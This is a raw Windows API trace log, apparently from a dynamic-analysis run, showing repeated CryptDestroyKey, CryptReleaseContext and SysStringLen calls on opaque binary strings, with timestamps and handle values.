[0235.688] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0235.688] CryptDestroyKey (hKey=0x3b5028) returned 1 [0235.689] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0235.689] CryptDestroyKey (hKey=0x5c69080) returned 1 [0235.689] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0235.689] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0235.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0235.689] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0235.690] CryptDestroyKey (hKey=0x3b5168) returned 1 [0235.690] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0235.690] SysStringLen (param_1="㩂㖈椱䨜閖鑪츎蒎郘疜訐덽㖤픑冫챰萜↌緖\滛凗祸೼疆鲐㞙荦㽻戕幆䢗䤽矯ෛۜ嬵迯剌Ꮑꕳꞈ≡) returned 0x30 [0235.690] CryptDestroyKey (hKey=0x5c69500) returned 1 [0235.690] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0235.690] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0235.690] SysStringLen (param_1="蕩ㄝﯬ͙芕஼瀐댭셯㹰憊铚㓕﹣皸设붅㛉럒Ⴃ猶⬟媋\\죜帣䦠혁䬽⸎Ƀᷢ塂鮜彚刹㶻ⅉ\川푧쉲≰) returned 0x30 [0235.690] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0235.691] SysStringLen (param_1="Ή⺯﬘蘬ሮ퐰ᒛᛚ츅ⴵ岽短몽朄︶条戗ﴒ䫘ⲏ￟ꅡ렳庝酠陒ꠈ횢樓䄾稤謗쿈핽嬰蹽뇙ﰈሠ⧚ﭩ嵧⪣") returned 0x30 [0235.691] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0235.691] CryptDestroyKey (hKey=0x5c69240) returned 1 [0235.691] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0235.691] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0235.691] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0235.691] CryptDestroyKey (hKey=0x3b5068) returned 1 [0235.692] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0235.692] SysStringLen (param_1="휭䕫焹梙䴆꧌趷壝椪胉뵬❦ἑ鹥⤘ਃ祚긪簞䙻ఐዛᱞ䭱碪㦏皟潻踉⦂✣꛲٢稼硩텢攠㧃滽購栿ⴶ긙ﷅ") returned 0x30 [0235.692] CryptDestroyKey (hKey=0x5c68e80) returned 1 [0235.692] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0235.692] CryptDestroyKey (hKey=0x5c69440) returned 1 [0235.692] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0235.692] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0235.692] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0235.693] CryptDestroyKey (hKey=0x5c68c00) returned 1 [0235.693] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0235.693] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0235.693] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0235.693] CryptDestroyKey (hKey=0x5c68d00) returned 1 [0235.693] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0236.684] CryptDestroyKey (hKey=0x5c68d40) returned 1 [0236.684] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0236.684] CryptReleaseContext (hProv=0x5c4cff0, dwFlags=0x0) returned 1 [0236.685] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0236.685] CryptDestroyKey (hKey=0x5c68b80) returned 1 [0236.685] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0236.685] CryptReleaseContext (hProv=0x5c4d430, dwFlags=0x0) returned 1 [0236.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0236.685] CryptDestroyKey (hKey=0x5c69500) returned 1 [0236.685] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0236.686] CryptReleaseContext (hProv=0x5c4d210, dwFlags=0x0) returned 1 [0236.686] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0236.686] CryptDestroyKey (hKey=0x5c69440) returned 1 [0236.686] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0236.686] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0236.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0236.686] CryptDestroyKey (hKey=0x3b5128) returned 1 [0236.686] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0236.686] CryptDestroyKey (hKey=0x3b5168) returned 1 [0236.687] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0236.687] CryptDestroyKey (hKey=0x5c68d00) returned 1 [0236.687] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0236.687] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0236.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0236.687] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0236.687] CryptDestroyKey (hKey=0x3b5068) returned 1 [0236.687] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0236.687] SysStringLen (param_1="።륏⥵౷溃ꃴ↔谫\x09ꏗꌀ鼘階ㅢ躦콦遷ꈉへ쁚助⫀뢴촢痝縉搽륦堆啞ኃ闂섻혲杛∖௵倐뢋롮") returned 0x30 [0236.687] CryptDestroyKey (hKey=0x5c69240) returned 1 [0236.688] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0236.688] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0236.688] SysStringLen (param_1="獬ᨻ冨븱ꠄᎷ諽巈卽儖᳹巆煆༗颐\ዝ攎\⿘䮓鬍ᴒ寚繵䇔媲汑ꍧ赶됲مᩏ箸莻薋啠\님巰揘隣็꽆䁞\狙") returned 0x30 [0236.688] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0236.688] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭㼉\櫛㿠詁ꝋቃ⋦) returned 0x30 [0236.688] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0236.688] CryptDestroyKey (hKey=0x5c69080) returned 1 [0236.688] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0236.688] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0236.689] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0236.689] CryptDestroyKey (hKey=0x3b50a8) returned 1 [0236.689] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0236.689] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄열孟ଡ翟ꆚ࿲䃠䅗") returned 0x30 [0236.689] CryptDestroyKey (hKey=0x5c68c00) returned 1 [0236.689] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0242.462] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0242.462] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0242.462] CryptDestroyKey (hKey=0x5c99520) returned 1 [0242.462] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0242.462] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐\\\瓚귍ް蒛ꙙ盿") returned 0x30 [0242.463] CryptDestroyKey (hKey=0x5c68c00) returned 1 [0242.463] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0242.463] CryptDestroyKey (hKey=0x5c994e0) returned 1 [0242.463] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0242.463] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0242.463] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0242.463] CryptDestroyKey (hKey=0x5c69140) returned 1 [0242.463] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0242.463] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0242.463] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0242.464] CryptDestroyKey (hKey=0x5c69500) returned 1 [0242.464] CryptReleaseContext (hProv=0x372ac8, dwFlags=0x0) returned 1 [0242.464] CryptReleaseContext (hProv=0x372ac8, dwFlags=0x0) returned 1 [0242.464] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0242.464] CryptDestroyKey (hKey=0x5c69240) returned 1 [0242.464] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0242.464] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0242.464] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0242.464] CryptDestroyKey (hKey=0x5c995e0) returned 1 [0242.464] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0242.464] CryptDestroyKey (hKey=0x5c994a0) returned 1 [0242.464] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0242.465] CryptDestroyKey (hKey=0x5c69200) returned 1 [0242.465] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0242.465] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0242.465] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0242.465] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0242.465] CryptDestroyKey (hKey=0x5c69180) returned 1 [0242.465] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0242.465] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴鐕ᓘ넧ᔀ뭮蝦ᦥ빬∄) returned 0x30 [0242.465] CryptDestroyKey (hKey=0x5c69440) returned 1 [0242.465] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0242.465] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0242.466] SysStringLen (param_1="ा扟逜㴽⸊拐㚗㎌撿ꝣ鵵㈴䪢⪦벴ꗹ摳\ො覑麰蓡蜐様㬆ꌁ끲᎘⡭㘻隫퓆ḝꝅႣ㥚ဳ竛뽋⦠遇믅\⣚ట") returned 0x30 [0242.466] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0242.466] SysStringLen (param_1="햩褭컓⤐숳릝툾㏶᩻뷏㷨㒧㙄⌐ߖ\꫞븋ߝ튾飺戔靺됄ᙃￃ\ዞꗤ賨ꅷʪ藞뿒嬥䶅먢ᶄꭂ料ꩯߎ삹") returned 0x30 [0242.466] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0242.466] CryptDestroyKey (hKey=0x5c68e80) returned 1 [0242.466] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0243.269] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0243.269] CryptDestroyKey (hKey=0x5c68d40) returned 1 [0243.269] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0243.269] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0243.269] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0243.270] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0243.270] CryptDestroyKey (hKey=0x5c69440) returned 1 [0243.270] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0243.270] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0243.270] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0243.270] CryptDestroyKey (hKey=0x5c69500) returned 1 [0243.270] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0243.270] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0243.270] CryptDestroyKey (hKey=0x5c69140) returned 1 [0243.270] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0243.271] SysStringLen (param_1="죝\ෛ➟䀰郂훧ṏ쪼隉㐬䭠셜牟䱈霗฾홴➒䯂浢焒늆ꍜ큋藺ࡩ᫼학넁ꢸ⴪ᶉ᫲菶\仞굁疕\䛝됻≊) returned 0x30 [0243.271] CryptDestroyKey (hKey=0x5c68e80) returned 1 [0243.271] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0243.271] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0243.271] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ពռ莻白䞷烔뱒쒭藦祋\叛䙆촥ꤴᧇ∓) returned 0x30 [0243.271] CryptDestroyKey (hKey=0x5c68b80) returned 1 [0243.271] CryptReleaseContext (hProv=0x372ac8, dwFlags=0x0) returned 1 [0243.271] CryptReleaseContext (hProv=0x372ac8, dwFlags=0x0) returned 1 [0243.272] SysStringLen (param_1="렂禽梍귻앓\铞ꪁ扄펭\矘컂ᯱ鵑峜䥒䬸ᾆ灒쐅␒뜐삎뚅啷嚝伦﫥䕭鹉㦵蒖֛榋쫐迈\웟碹軄༝Ꮲ늌☌뭚⋼) returned 0x30 [0243.272] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0243.272] CryptDestroyKey (hKey=0x5c99660) returned 1 [0243.272] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0243.272] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0243.272] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0243.272] CryptDestroyKey (hKey=0x5c99620) returned 1 [0243.272] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0243.272] CryptDestroyKey (hKey=0x5c69200) returned 1 [0243.272] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0243.273] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0243.273] CryptDestroyKey (hKey=0x5c69180) returned 1 [0243.273] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0244.210] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.210] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0244.210] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.210] CryptDestroyKey (hKey=0x5c995e0) returned 1 [0244.210] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0244.210] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0244.211] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.211] CryptDestroyKey (hKey=0x5c69080) returned 1 [0244.211] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0244.211] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0244.211] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0244.211] CryptDestroyKey (hKey=0x5c99660) returned 1 [0244.211] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0244.211] SysStringLen (param_1="⣯陭쬐㠾겤ᖧ獓틄艜湓湑䫐᛹陇쫖鉄罾껀渞ﷂ勏刷者\軙ꑪ稠䊍﹂먻㶾∡ܚ籔庱㉰⻰近㖹ښ郺简∯) returned 0x30 [0244.212] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0244.212] CryptDestroyKey (hKey=0x5c99520) returned 1 [0244.212] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0244.212] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘淓诽⤱扅꘬᧕ⵑ") returned 0x30 [0244.212] CryptDestroyKey (hKey=0x5c69140) returned 1 [0244.212] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0244.212] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0244.212] SysStringLen (param_1="ꦷឨ窭觿ぁ乌๣蛤놯캍ᥱ녡쀂㸛ᦤ蚻냔슻ﷆ┤ꛞɘ䖉꣯\䓛菡ᘹᲖ謙面\Ꮩꆈ⣏䊰罉좙꺈谾簉͙以핑") returned 0x30 [0244.212] CryptDestroyKey (hKey=0x5c996e0) returned 1 [0244.212] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0244.213] CryptDestroyKey (hKey=0x5c69240) returned 1 [0244.213] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0244.213] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0244.213] CryptReleaseContext (hProv=0x5c4cee0, dwFlags=0x0) returned 1 [0244.213] CryptDestroyKey (hKey=0x5c68c00) returned 1 [0244.213] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0244.213] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0244.213] SysStringLen (param_1="甘Ɦꮯ퐣ᩨ↟⌤봑\郜厚乧㝐艠濈玬⎿ß텢₫斮㯖ꠃ娭䐰죭㦂⏨ꞿ岥砀昀搀攀搀Ԁ䙵趄ힹ旛炌䡄⠌ᇀ饬┠纓⋄) returned 0x30 [0244.213] CryptReleaseContext (hProv=0x5c4d320, dwFlags=0x0) returned 1 [0244.214] CryptDestroyKey (hKey=0x5c68b80) returned 1 [0244.214] CryptReleaseContext (hProv=0x372ac8, dwFlags=0x0) returned 1 [0244.214] CryptReleaseContext (hProv=0x372ac8, dwFlags=0x0) returned 1 [0244.214] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0244.214] CryptDestroyKey (hKey=0x5c99720) returned 1 [0244.214] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0244.214] CryptDestroyKey (hKey=0x5c994a0) returned 1 [0244.214] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0244.214] CryptDestroyKey (hKey=0x5c69440) returned 1 [0244.214] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0244.214] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0244.214] CryptDestroyKey (hKey=0x5c694c0) returned 1 [0244.215] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0244.215] SysStringLen (param_1="㻂䩶ﲂ屡볯젾藈쬨鸎\ᯜ⒂냲僂閱ﴢ᠕ﰌ焹쉭㈃暝⡠큉䲟\䓛朵餤⫋ۈ쌽ྲ㾛꥔錈⟓ࠅ㇅稆埑렚⇟") returned 0x30 [0244.215] CryptDestroyKey (hKey=0x5c69180) returned 1 [0244.215] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0244.215] CryptDestroyKey (hKey=0x5c995a0) returned 1 [0244.215] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0244.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.215] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0244.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.216] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0245.035] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0245.036] SysStringLen (param_1="Zᤉ颞儡ᄿ៩灑༎镭䌷ಚ研㣝籵疈䐌\믝봶킋︚줩ꛋ藗詑Ẻ姼듈\槟ὅ㸺璹渰希ꔏ㯨ឍ똰蒏钽끍儱歹踪쐰") returned 0x30 [0245.036] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0245.036] CryptDestroyKey (hKey=0x5c68b80) returned 1 [0245.036] CryptReleaseContext (hProv=0x372ac8, dwFlags=0x0) returned 1 [0245.036] CryptReleaseContext (hProv=0x372ac8, dwFlags=0x0) returned 1 [0245.036] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0245.036] CryptDestroyKey (hKey=0x5c69080) returned 1 [0245.036] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0245.037] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0245.037] CryptDestroyKey (hKey=0x5c995a0) returned 1 [0245.037] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0245.037] SysStringLen (param_1="픰쩍菸恦\叞뉉㈗猚녢ꂥ戨껽従晹␇힯鉔䗂ᙡ칿⊔Ⴁ⎉봃洄ỽ㘓퐠럙ﹰ輯뵮ﶍ䭷樔窄╒ۯ㤭굜琔籍ʬ㨯킸⊱) returned 0x30 [0245.037] CryptDestroyKey (hKey=0x5c69440) returned 1 [0245.037] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0245.037] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0245.037] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅网㬂㶅ㆶ⠤铚쀾嗤苧⯍滸\證갭燈᮴") returned 0x30 [0245.037] CryptDestroyKey (hKey=0x5c68d40) returned 1 [0245.038] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0245.038] CryptReleaseContext (hProv=0x3742b0, dwFlags=0x0) returned 1 [0245.038] CryptDestroyKey (hKey=0x5c68d00) returned 1 [0245.038] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0245.038] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0245.038] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠潑胛恥⍧Ŭ᥵⋩) returned 0x30 [0245.038] CryptReleaseContext (hProv=0x5c4d100, dwFlags=0x0) returned 1 [0245.038] CryptDestroyKey (hKey=0x5c69180) returned 1 [0245.038] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0245.038] CryptReleaseContext (hProv=0x373678, dwFlags=0x0) returned 1 [0245.039] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0245.039] CryptDestroyKey (hKey=0x5c994a0) returned 1 [0245.039] CryptReleaseContext (hProv=0x5c4d3a8, dwFlags=0x0) returned 1 [0245.039] CryptDestroyKey (hKey=0x5c69240) returned 1 [0245.039] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0245.039] CryptDestroyKey (hKey=0x5c68c00) returned 1 [0245.039] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0245.039] CryptReleaseContext (hProv=0x373568, dwFlags=0x0) returned 1 [0245.039] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0245.039] CryptDestroyKey (hKey=0x5c69500) returned 1 [0245.039] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0245.040] CryptReleaseContext (hProv=0x373f80, dwFlags=0x0) returned 1 [0245.040] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0245.040] CryptDestroyKey (hKey=0x5c99760) returned 1 [0245.040] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0245.040] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 [0245.907] CryptReleaseContext (hProv=0x5c4cd48, dwFlags=0x0) returned 1 